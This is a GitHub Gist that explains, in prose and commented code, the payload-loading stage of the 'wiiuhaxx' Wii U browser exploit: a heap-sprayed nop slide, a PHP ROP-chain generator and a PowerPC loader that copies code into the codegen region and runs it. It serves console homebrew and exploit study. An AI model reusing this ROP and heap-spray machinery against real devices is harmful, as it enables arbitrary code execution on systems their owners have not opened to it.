Last active
March 1, 2022 01:07
-
-
Save orboditilt/c4de45d284ba14bceef3d49b45312e52 to your computer and use it in GitHub Desktop.
wiiuhaxx_common write up
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Full ROP explanation! | |
At the beginning, we predict a address were our payload will be in the end. | |
We can trick a bit by using a nop slide, but the payload we want execute is statically linked so we need to get rid of the nops. | |
For this, we build a special payload, it consists of the folllowing parts | |
1. a bunch of nops to nop slide. Now we just need to have a good enough guess to not hit our real code. | |
2. the "wiiuhaxx_loader.s". To removes the nops. | |
3. the size of the "real" payload | |
4. the real payload. | |
At first, we spray this "special payload" on the heap, so the chances are high we actually hit a nop slide and make a prediction where our payload will land. | |
When get we ROP execution, we switch to Core 1 (the only one with access to codegen), and copy a chunk of memory from our "prediction" address to the codegen area (0x01800000) where it can be executed. | |
Before jumping to our "special payload" 0x01800000 we save a bunch a values in registers including: | |
r29 = our prediction address | |
r30 = offset where to jump back on the stack for further rop execution. | |
Now we jump to "0x01800000", and if everything has gone right, we landed in a nop slide, otherwise we simply crash. | |
Through we nop slide, we reach the code of "wiiuhaxx_loader.s". | |
This does the following things: | |
1. Calculate the position of the payload_size and real_payload. | |
2. Copy it to the prediction address (now our prediction comes true ! yay). | |
3. Continue our ROP. | |
Back to our ROP, we once again copy a chunk of memory from our prediction address to codegen. This time we can be sure is the real payload. | |
Jump to codegen and execute our real_payload. | |
PROFIT! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function generateropchain_type1() | |
{ | |
global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN, $payload_size; | |
//$payload_size = 0x20000; is set globally | |
$codegen_addr = 0x01800000; | |
ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. | |
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); | |
$regs = array(); | |
$regs[24 - 24] = $ROP_OSFatal;//r24 | |
$regs[25 - 24] = $ROP_Exit;//r25 | |
$regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 | |
$regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 | |
$regs[28 - 24] = $ROP_os_snprintf;//r28 | |
$regs[29 - 24] = $payload_srcaddr;//r29 | |
$regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. | |
$regs[31 - 24] = $ROPHEAP;//r31 | |
ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. | |
ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. | |
//Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. | |
ropchain_appendu32(0x0); | |
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); | |
ropgen_pop_r24_to_r31($regs); | |
ropchain_appendu32($codegen_addr); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The actual start address of the code-binary loaded by the initial ROP isn't always at a fixed address / codegen+0. Load the binary from the end of this loader to codegen+0. | |
bl link0 | |
link0: | |
# Calculate the position of the payload size and save it in r5 | |
mflr r3 # move lr (= current address) to r3 | |
li r4, (_end - link0) # Copy the size of this payload to r4. This way we know where our actual payload starts. | |
add r4, r4, r3 # r4 = addr of _end. r3 (= current address) + r4 (size of this payload) | |
# Get the actual payload size and save it r5 | |
lwz r5, 0(r4) # r5 = u32 value at _end, | |
# Point r4 to the real_payload | |
addi r4,r4,4 # then increase r4 by 0x4 to point to the real payload. | |
# Get the predicted address (from r29) and save it in r3 | |
mr r3, r29 # Move r29(=predicted payload adress) into r3 | |
# Calculate the numbers of words to copy and save it in the counter register (payload_size>>2). | |
li r6, 2 # load 2 into r6 | |
srw r5, r5, r6 # Shift Right Word. Shift r5 by r6 (2). To get the number of words (4 bytes each) to copy. | |
mtctr r5 # ctr reg = above u32 value >> 2. Put it into counter register. | |
# Copy the "real" payload to the predicted address. Now our prediction comes true! | |
copylp: # Copy the data from _end+4 with size *_end, to the address from r29 (which is now in r3). | |
lwz r5, 0(r4) # load from r4 | |
stw r5, 0(r3) # write to r3 | |
addi r4,r4,4 | |
addi r3,r3,4 # increment both addresses | |
bdnz copylp #Decrement count register and branch if it becomes nonzero | |
# Continue our ROP to now copy the memory from "prediction address" to codegen. Now the prediction address holds ONLY our "real" payload. | |
add r1, r1, r30 # Jump to the code-loading ROP to load the codebin which was copied above. (add r30(=8) to r1(the stackpointer) | |
lwz r3, 4(r1) read load adress from r1 with offset 4 into r3 | |
mtctr r3 # move r3 to count register | |
bctr # continue the rop. | |
_end: | |
# _end+4 holds the size of the real payload; | |
# After that the "real" payload will follow. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment